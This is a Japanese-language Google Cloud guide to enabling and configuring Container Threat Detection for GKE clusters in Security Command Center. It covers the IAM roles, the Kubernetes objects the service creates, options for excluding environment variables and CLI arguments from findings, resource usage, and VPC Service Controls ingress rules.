Container Threat Detection の有効化

Security Command Center のプレミアムティアまたはエンタープライズティアを有効にすると、有効化プロセス中に無効にしない限り、Container Threat Detection はデフォルトで有効になります。

組織またはプロジェクトで Container Threat Detection を有効または無効にする場合は、Security Command Center の [設定] ページで行うことができます。詳細については、組み込みサービスを有効または無効にするをご覧ください。

Container Threat Detection を有効にするには、Security Command Center 以降を有効にするか、次の操作を行います。

サポートされているバージョンの GKE 以外のクラスタの場合は、クラスタのアップグレードのガイドの手順を完了してください。
クラスタで Container Threat Detection DaemonSet を実行するのに十分なリソースがあることを確認します。
Google Cloud コンソールで Container Threat Detection サービスの有効化設定を確認し、クラスタで Container Threat Detection が有効になっていることを確認します。

必要な IAM 権限

Container Threat Detection には、自身を有効または無効にして GKE クラスタにある Container Threat Detection エージェントを管理する権限が必要です。

必要な権限を付与するには、IAM ロール Container Threat Detection サービスエージェント（roles/containerthreatdetection.serviceAgent）を、サービスアカウントの一種である Container Threat Detection サービスエージェントに付与する必要があります。

このデフォルトのロールをサービスエージェントから削除すると、Container Threat Detection が正常に動作しなくなるおそれがあります。

Security Command Center の起動方法と有効にした時期によって、Container Threat Detection が使用するサービスエージェントの名前は異なります。

2023 年 12 月 7 日より前に Security Command Center が有効にされた場合、Container Threat Detection は、次のユーザー管理のサービスエージェントを使用します。

service-PROJECT_NUMBER@gcp-sa-ktd-control.iam.gserviceaccount.com
2023 年 12 月 7 日以降に組織レベルで Security Command Center が有効にされた場合、Container Threat Detection は、次のユーザー管理の組織レベルのサービスエージェントを使用します。

service-org-ORGANIZATION_ID@gcp-sa-ktd-hpsa.iam.gserviceaccount.com
2023 年 12 月 7 日以降にプロジェクトレベルで Security Command Center が有効にされた場合、Container Threat Detection は、次のユーザー管理の組織レベルのサービスエージェントを使用します。

service-project-PROJECT_NUMBER@gcp-sa-ktd-hpsa.iam.gserviceaccount.com

サービスエージェントと IAM ロールの詳細については、以下をご覧ください。

カスタム GKE ノードサービスアカウントに必要な権限

GKE ノードにカスタムサービスアカウントを使用する場合、新しいノードサービスアカウントには、Container Threat Detection を操作するための権限が必要です。これらの権限をサービスアカウントに付与するには、サービスアカウントトークン作成者ロール（roles/iam.serviceAccountTokenCreator）を付与します。

ノードサービスアカウントにサービスアカウントトークン作成者のロールを付与します。
```
gcloud iam service-accounts add-iam-policy-binding \
  SERVICE_ACCOUNT_NAME \
  --member=serviceAccount:service-PROJECT_NUMBER@compute-system.iam.gserviceaccount.com \
  --role=roles/iam.serviceAccountTokenCreator
```
次の値を置き換えます。
- SERVICE_ACCOUNT_NAME は、新しいノードサービスアカウントのメールアドレスに置き換えます。
- PROJECT_NUMBER は、Container Threat Detection がデプロイされているプロジェクト番号に置き換えます。これは、サービスアカウントのプロジェクトとは異なる場合に重要です。
新しいノードサービスアカウントが作成されたプロジェクトで Container Threat Detection API を有効にします。
```
gcloud services enable containerthreatdetection.googleapis.com --project PROJECT_ID
```
PROJECT_ID は、新しいノードサービスアカウントが存在するプロジェクトの ID に置き換えます。

GKE クラスタ構成の確認

クラスタが Virtual Private Cloud（VPC）にある場合、Container Threat Detection を使用するには、そのクラスタが Google API と通信するためのルーティング、ファイアウォール、DNS の要件を満たしている必要があります。Google API にアクセスするには、次のガイドをご覧ください。

クラスタが限定公開クラスタの場合は、限定公開の Google アクセスの構成または Private Service Connect の構成をご覧ください。
クラスタが VPC Service Controls サービス境界内にある場合は、サービス境界の概要の手順に沿って操作してください。
クラスタが限定公開クラスタでない場合は、外部 IP アドレスを持つ VM から API にアクセスするをご覧ください。

また、GKE クラスタ設定または組織のポリシーの制約によって、Container Threat Detection が機能するために必要なオブジェクトの作成や使用をブロックしないでください。以降のセクションでは、Container Threat Detection によって作成される GKE オブジェクトのリストと、Container Threat Detection と連携する重要な GKE コンポーネントの設定方法について説明します。

Kubernetes オブジェクト

オンボーディング後、Container Threat Detection は有効なクラスタに複数の GKE オブジェクトを作成します。これらのオブジェクトは、コンテナイメージのモニタリング、特権付きコンテナと Pod の管理、検出結果の状態の評価に使用されます。次の表に、オブジェクト、そのプロパティ、重要な機能を示します。

オブジェクト	名前¹	プロパティ	関数
ClusterRole	`container-watcher-pod-reader`	Pod に `get`、`watch`、`list` の権限を付与します。
ClusterRole	`pod-reader`	Pod に `get`、`watch`、`list` の権限を付与します。
ClusterRoleBinding	`container-watcher-pod-reader` `gce:podsecuritypolicy:container-watcher`	`container-watcher-pod-reader` と `gce:podsecuritypolicy:privileged` のロールを `container-watcher-pod-reader` ServiceAccount に付与します。
CustomResourceDefinition	`containerwatcherstatuses.containerthreatdetection.googleapis.com`		DaemonSet ステータスレポート
DaemonSet	`container-watcher`²	特権付き	Linux セキュリティモジュールおよびコンテナエンジンとのインタラクション
		/host/ を読み書きとしてマウントします	Linux セキュリティモジュールとの通信。
		`container-watcher-token` にアクセスするために、読み取り専用として /etc/container-watcher/secrets をマウントします	認証
		`hostNetwork` を使用します	検出結果の生成
		イメージ gke.gcr.io/watcher-daemonset	有効化とアップグレード
		バックエンド containerthreatdetection-`REGION`.googleapis.com:443	検出結果の生成
ロール	`container-watcher-status-reporter`	`containerwatcherstatuses.containerthreatdetection.googleapis.com` CustomResourceDefinition 用の `get`、`list`、`watch`、`create`、`update`、`patch` の動詞を含むロール	DaemonSet ステータス情報の更新を許可します。
RoleBinding	`gce:podsecuritypolicy:container-watcher`	`container-watcher-pod-reader` の ServiceAccount に `gce:podsecuritypolicy:privileged` ロールを付与します	`PodSecurityPolicy` が有効な場合に機能を保持します。
RoleBinding	`container-watcher-status-reporter`	`container-watcher-pod-reader` の ServiceAccount に `container-watcher-status-reporter` ロールを付与します
シークレット	`container-watcher-token`		認証
ServiceAccount	`container-watcher-pod-reader`		有効化、アップグレード、無効化

¹ すべてのオブジェクトは kube-system Namespace にあります（container-watcher-pod-reader と gce:podsecuritypolicy:container-watcher を除く）。

² Container Threat Detection のインストール、更新、または削除中に、Kubernetes オブジェクトやその他の依存関係が欠落や不完全であることを示すエラーメッセージが表示されることがあります。たとえば、container-watcher-pod-reader ロールがない場合、Pod ウォッチャーのインストールが妨げられる可能性があります。この問題を示す serviceaccount "container-watcher-pod-reader" not found などのエラーログが表示されることがあります。通常、これらのエラーは、Container Threat Detection がプロセスを完了すると自動的に解決されます。エラーが数分間続かなければ、このエラーは無視できます。

PodSecurityPolicy とアドミッションコントローラ

PodSecurityPolicy は、クラスタ上で Pod を作成および更新するリクエストを検証するために設定するアドミッションコントローラリソースです。Container Threat Detection は、enable-pod-security-policy フラグを使用してクラスタを作成または更新する際に、自動的に適用される PodSecurityPolicy と互換性があります。具体的には、Container Threat Detection は PodSecurityPolicy が有効な場合に gce.privileged ポリシーを使用します。

カスタムの PodSecurityPolicy または他のアドミッションコントローラを使用する場合、Container Threat Detection の動作に必要なオブジェクトの作成または使用が妨げられないようにする必要があります。たとえば、特権のデプロイを拒否またはオーバーライドする Webhook ベースのアドミッションコントローラを使用すると、Container Threat Detection が正常に動作しなくなる可能性があります。

詳細については、PodSecurityPolicies の使用をご覧ください。

Container Threat Detection の検出結果からの環境変数の除外

デフォルトでは、Container Threat Detection は検出結果を生成するときに、その検出結果で参照されているすべてのプロセスの環境変数を報告します。攻撃を調査する際に環境変数の値が重要となる場合があります。ただし、一部のソフトウェアパッケージでは、シークレットやその他の機密情報が環境変数に格納されています。Container Threat Detection が Container Threat Detection の検出結果にプロセス環境変数を含めないようにするには、Google Cloud CLI または Security Command Center Management API の securityCenterServices.patch メソッドを使用して、組織、フォルダ、プロジェクトレベルで REPORT_ENVIRONMENT_VARIABLES モジュールを無効にします。

たとえば、プロジェクトで環境変数の報告を無効にするには、module_config.yaml という名前のファイルを作成し、次の内容を記述します。

REPORT_ENVIRONMENT_VARIABLES:
  intendedEnablementState: DISABLED

その後、次のコマンドを実行します。

gcloud scc manage services update container-threat-detection \
    --module-config-file=module_config.yaml \
    --project=PROJECT_ID

デフォルトの動作に戻すには、module_config.yaml を編集して次の内容を含め、コマンドを再度実行します。

REPORT_ENVIRONMENT_VARIABLES:
  intendedEnablementState: ENABLED

サービスの管理に使用する gcloud CLI コマンドをすべて表示するには、gcloud scc manage services をご覧ください。

Container Threat Detection の検出結果からの CLI 引数の除外

すべてのプロセスには 1 つ以上のコマンドライン（CLI）引数があります。デフォルトでは、Container Threat Detection は検出結果にプロセスの詳細を含めるときに、プロセスの CLI 引数を記録します。CLI の引数値は攻撃の調査で重要となる場合があります。ただし、CLI 引数によってシークレットなどの機密情報が漏洩する場合があります。Container Threat Detection が Container Threat Detection の検出結果に CLI 引数を含めないようにするには、Google Cloud CLI または Security Command Center Management API の securityCenterServices.patch メソッドを使用して、組織、フォルダ、プロジェクトレベルで REPORT_CLI_ARGUMENTS モジュールを無効にします。

たとえば、プロジェクトで CLI 引数の報告を無効にするには、module_config.yaml という名前のファイルを作成し、次の内容を記述します。

REPORT_CLI_ARGUMENTS:
  intendedEnablementState: DISABLED

その後、次のコマンドを実行します。

gcloud scc manage services update container-threat-detection \
    --module-config-file=module_config.yaml \
    --project=PROJECT_ID

デフォルトの動作に戻すには、module_config.yaml を編集して次の内容を含め、コマンドを再度実行します。

REPORT_CLI_ARGUMENTS:
  intendedEnablementState: ENABLED

サービスの管理に使用する gcloud CLI コマンドをすべて表示するには、gcloud scc manage services をご覧ください。

リソースの使用量

Container Threat Detection は、クラスタのパフォーマンスにほとんど影響を与えないように設計されています。レイテンシによってクラスタオペレーションが影響を受けることはありません。

リソースの使用量はワークロードによって異なります。ただし、Container Threat Detection のコアコンポーネント（ユーザー空間 DaemonSet と Linux セキュリティモジュール、LSM）のパフォーマンスについては、次のような影響が想定されています。

DaemonSet: リソース使用量の制限に設定されたハードリミットに基づいて、最大 0.125 vCPU と 300 MB のメモリを使用できます。特に大規模なノードの場合、上限が再評価されてパフォーマンスが最適化される可能性があります。
LSM: ワークロードの特性によって異なりますが、LSM に対する負荷は CPU で 2% 未満、メモリで 1% 未満であることが確認されます。Container Threat Detection を有効または無効にしてワークロードをインストルメント化することで、パフォーマンスへの影響をテストできます。

BigQuery を使用している場合は、GKE 使用状況測定を有効にして、Container Threat Detection のユーザー空間 DaemonSet のリソース使用量をモニタリングできます。使用状況測定でユーザー空間 DaemonSet を表示するには、名前空間 kube-system とラベル k8s-app=container-watcher を検索します。

GKE 使用状況測定で、LSM 専用のカーネル CPU の使用量を追跡することはできません。このデータは、全体的な CPU 使用率に含まれます。

Container Threat Detection API

Container Threat Detection は、オンボーディング時に自動的に containerthreatdetection API を有効にして、検出結果の生成を可能にします。この必要な API を直接操作しないでください。この API を無効にすると、Container Threat Detection が新しい検出結果を生成する機能が損なわれる恐れがあります。Container Threat Detection の検出結果の受信を停止するには、Security Command Center の [サービス] 設定で Container Threat Detection を無効にします。

検出結果の確認

Container Threat Detection によって生成された検出結果は、Security Command Center で表示できます。Cloud Logging へのログのエクスポートを構成した場合は、Cloud Logging で検出結果を表示することもできます。検出結果を生成して構成を検証するには、意図的に検出機能をトリガーし、Container Threat Detection をテストします。

Container Threat Detection では、次のレイテンシが発生します。

新しくオンボーディングした組織またはプロジェクトの有効化によるレイテンシ（3.5 時間）。
新しく作成したクラスタの有効化によるレイテンシ（数分）。
アクティブ化されたクラスタで脅威を検出するためのレイテンシ（数分）。

Google Cloud コンソールで検出結果を確認する

Security Command Center の IAM ロールは、組織レベル、フォルダレベル、またはプロジェクトレベルで付与できます。検出結果、アセット、セキュリティソースを表示、編集、作成、更新する権限は、アクセス権が付与されているレベルによって異なります。Security Command Center のロールの詳細については、アクセス制御をご覧ください。

サービス境界で保護されているプロジェクトのスキャン

2023 年 12 月 7 日以降に組織レベルで Security Command Center を有効にし、特定のプロジェクトやサービスへのアクセスをブロックするサービス境界がある場合、Container Threat Detection のサービスアカウントに、そのサービス境界へのインバウンドアクセスを許可する必要があります。そうしないと、Container Threat Detection は、保護されたプロジェクトやサービスに関連する検出結果を生成できません。

組織レベルで有効にしている場合、サービスアカウント ID は次の形式のメールアドレスです。

service-org-ORGANIZATION_ID@gcp-sa-ktd-hpsa.iam.gserviceaccount.com

上記の例で、ORGANIZATION_ID は組織の数値 ID に置き換えます。

クラスタが VPC Service Controls サービス境界内にある場合は、Container Threat Detection API である containerthreatdetection.googleapis.com がアクセス可能なサービスとして一覧表示されることを確認してください。詳細については、サービス境界の概要をご覧ください。

サービスアカウントにサービス境界へのインバウンドアクセスを許可するには、次の手順を行います。

[VPC Service Controls] に移動します。

[VPC Service Controls] に移動
ツールバーで Google Cloud 組織を選択します。
プルダウンリストで、アクセスを許可するサービス境界を含むアクセスポリシーを選択します。

アクセスポリシーに関連付けられているサービス境界がリストに表示されます。
サービスの名前をクリックします。
[境界を編集] をクリックします。
ナビゲーションメニューで、[上り（内向き）ポリシー] をクリックします。
[ルールの追加] をクリックします。
次のようにルールを構成します。

API クライアントの FROM 属性
1. [ソース] で [すべてのソース] を選択します。
2. [ID] で、[選択した ID] を選択します。
3. [ユーザーアカウント / サービスアカウントの追加] フィールドで [選択] をクリックします。
4. サービスアカウントのメールアドレスを入力します。組織レベルとプロジェクトレベルの両方にサービスアカウントがある場合は、両方を追加します。
5. [保存] をクリックします。
GCP サービス / リソースの TO 属性
1. [プロジェクト] で、[すべてのプロジェクト] を選択します。
2. [サービス] で、[すべてのサービス] を選択するか、Container Threat Detection で必要とされる次の各サービスを選択します。
  - Kubernetes Engine API
  サービス境界が必須サービスへのアクセスを制限している場合、Container Threat Detection は、そのサービスに対する検出結果を生成できません。
3. ナビゲーションメニューで、[保存] をクリックします。
詳細については、上り（内向き）ポリシーと下り（外向き）ポリシーの構成をご覧ください。

次のステップ
- Container Threat Detection の仕組みについて確認する。
- 脅威に対する対応計画を策定して開発する方法を学習する。
